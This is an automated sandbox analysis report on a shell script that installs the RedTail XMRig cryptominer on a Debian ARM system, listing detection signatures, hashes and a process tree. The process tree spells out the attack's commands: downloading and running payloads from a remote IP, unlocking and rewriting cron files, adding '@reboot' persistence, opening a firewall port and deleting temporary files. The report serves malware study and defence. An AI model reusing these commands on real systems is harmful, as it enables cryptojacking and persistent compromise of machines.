Analysis
-
max time kernel
150s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
-
submitted
01-02-2025 03:09
General
-
Target
3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh
-
Size
1KB
-
MD5
a85657b9ccd1984a6757a87845a61a0d
-
SHA1
1dc82b5d65d775348c4addefa3e2ff470d19bc3e
-
SHA256
3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd
-
SHA512
1b79940f7fc522e6797060023cf713d16e44ff15bf98b41ecb0baf9da3cadb17eaf168abc4cbd3e0dd6d0eecd3b936651f1f8d9b4f19c78bda26b8d94dd31aab
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (112720) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
XMRig Miner payload 1 IoCs
-
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
-
Attempts to change immutable files 24 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
-
UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Changes its process name 1 IoCs
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 27 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh/tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh1⤵
- Executes dropped EXE
-
/bin/grepgrep noexec2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/catcat /proc/mounts2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/findfind / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"2⤵
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/unameuname -mp2⤵
-
-
/usr/bin/touchtouch .testfile2⤵
-
-
/bin/dddd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"2⤵
-
-
/bin/rmrm -rf .testfile .testfile22⤵
-
-
/usr/bin/wgetwget http://195.177.95.149/clean2⤵
-
-
/bin/chmodchmod +x clean2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh clean2⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl disable c3pool_miner3⤵
-
-
/bin/systemctlsystemctl stop c3pool_miner3⤵
- Reads runtime system information
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/crontabs3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/crontab3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apt-compat3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/bsdmainutils3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/dpkg3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/exim4-base3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/logrotate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/passwd3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.d3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/anacrontab3⤵
-
-
/bin/rmrm -rf /tmp/3a9ae9bd26448244f01988d954e60d3492da84ae1b6237965cf35b9ebf3912cd.sh3⤵
-
-
/bin/rmrm -rf "/var/tmp/*"3⤵
-
-
/bin/rmrm -rf "/dev/shm/*"3⤵
-
-
-
/bin/rmrm -rf clean2⤵
-
-
/bin/rmrm -rf .redtail2⤵
-
-
/bin/grepgrep -q x86_642⤵
-
-
/bin/grepgrep -q amd642⤵
-
-
/bin/grepgrep -q "i[3456]86"2⤵
-
-
/bin/grepgrep -q armv82⤵
-
-
/bin/grepgrep -q aarch642⤵
-
-
/bin/grepgrep -q armv72⤵
-
-
/usr/bin/wgetwget http://195.177.95.149/arm72⤵
-
-
/bin/mvmv arm7 .redtail2⤵
-
-
/bin/chmodchmod +x .redtail2⤵
- File and Directory Permissions Modification
-
-
/.redtail./.redtail2⤵
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/bin/shsh -c "command -v crontab >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.redtail\" | crontab -"3⤵
-
/usr/bin/crontabcrontab -r4⤵
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "command -v php >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "command -v nginx >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "which apache2"3⤵
-
/usr/bin/whichwhich apache24⤵
-
-
-
/bin/shsh -c "which httpd"3⤵
-
/usr/bin/whichwhich httpd4⤵
-
-
-
/bin/shsh -c "iptables -I INPUT -p tcp --dport 40235 -j ACCEPT >/dev/null 2>&1"3⤵
- Attempts to change immutable files
-
/sbin/iptablesiptables -I INPUT -p tcp --dport 40235 -j ACCEPT4⤵
- Attempts to change immutable files
-
-
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.0MB
MD5b2d1236c286a3c0704224fe4105eca49
SHA17d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA2565647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
SHA512731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
-
Filesize
1.1MB
MD5045daa66263bfd467051c013e9222faf
SHA14b943b14526d7bf7be2b3e3f9af24d1f35015548
SHA256d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
SHA512bd684e0909793c05a34891f2ffe289e00b66c634d8059a9301274ef764aff38ae6d5c0c224228d11007b297e32e00749b40197f77f7fc48c44c50ef3651bc41f
-
Filesize
795B
MD5397ff5e54194072e6d8a44a0d8cc1b27
SHA142477b0c3b277b5e907b0a35c644f3291ed30a63
SHA256d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
SHA512ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74
-
Filesize
1KB
MD530e858769aacd9cc309502f8d5c6aa0f
SHA1927c06dd4d6cbb5ca02e9505011c8667c47f2d6e
SHA256eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
SHA512f7f6e70925afe54fc2fdaae13a750b3c49fde9fa59d80af321885d270112ebb2291f034037708f1ba8515f3e3e1ca0a493cd1e002895aa699c469e0365ccde3c
-
Filesize
3KB
MD502f33c9e59b27bcd241e488cd48de072
SHA19247eee9b2310d56455beccf41c577ba16b78e3d
SHA2562565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14
SHA5121eda274264320a72cd58462b6c8a7747990a7eedf836be730b51b92ea6b04a1005aed596f9b9d53c4c8a93001d112450d0c6d83dfe4eee4b91a671623662fb3d
-
Filesize
249B
MD5db990990933b6f56322725223f13c2bc
SHA1387303696a796e27f559c73679e979f2a538072d
SHA256777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1
SHA512a3764e580bcfe0b2100da8ff2a00bed4936cb2acc9985daef52fb0310a7ed3367a1944a355c3f1dbc92d82c82b54280926736f81bc138efb4f7df1814abee3b5
-
Filesize
722B
MD58f111d100ea459f68d333d63a8ef2205
SHA1077ca9c46a964de67c0f7765745d5c6f9e2065c3
SHA2560e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
SHA512d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb
-
Filesize
1KB
MD5bc4a71cbcaeed4179f25d798257fa980
SHA161445721d0b5d86ac0a8386a4ceef450118f4fbb
SHA2568eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
SHA512709badb4dd1a15a10b34f82d31ed4bbab81698190d2ec94e2ad3dcdc90d97b893eb61cde72f08e517a8beea08ec1d675385fd42a9e77530981b7d83c6bd3548c
-
Filesize
279B
MD5911a774fe040993b929504f3d9415ab3
SHA155ccc8e95097f005abf9f4d91a14394e6d0f5da5
SHA256340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
SHA5121eb8fd8dc6fd444ba2fa3ca7e863894cfb19383e5b20c700ed24aa615402340424d093a761632cf27a3e789ecd548ca972806e154161635da4f97b415d6fc64f
-
Filesize
193B
MD59c416d9f462a6fa35ce3b96d2fee5e84
SHA1db51c40363e3505a9c3f938cdd3b5e7eb407bb2b
SHA2562efb80a877e3ab7b23c6660cee21218197cfbdb968a2954fe7a79dd053c99b1f
SHA512929f7df399ea0dce0a67ef1fd12c1a998efcd0d4e3555e672e0d2cb3c98ef48263ded979ff645dbfe3e53fe6cc29ca0b889e5de81913f20bb92da1af75efaf91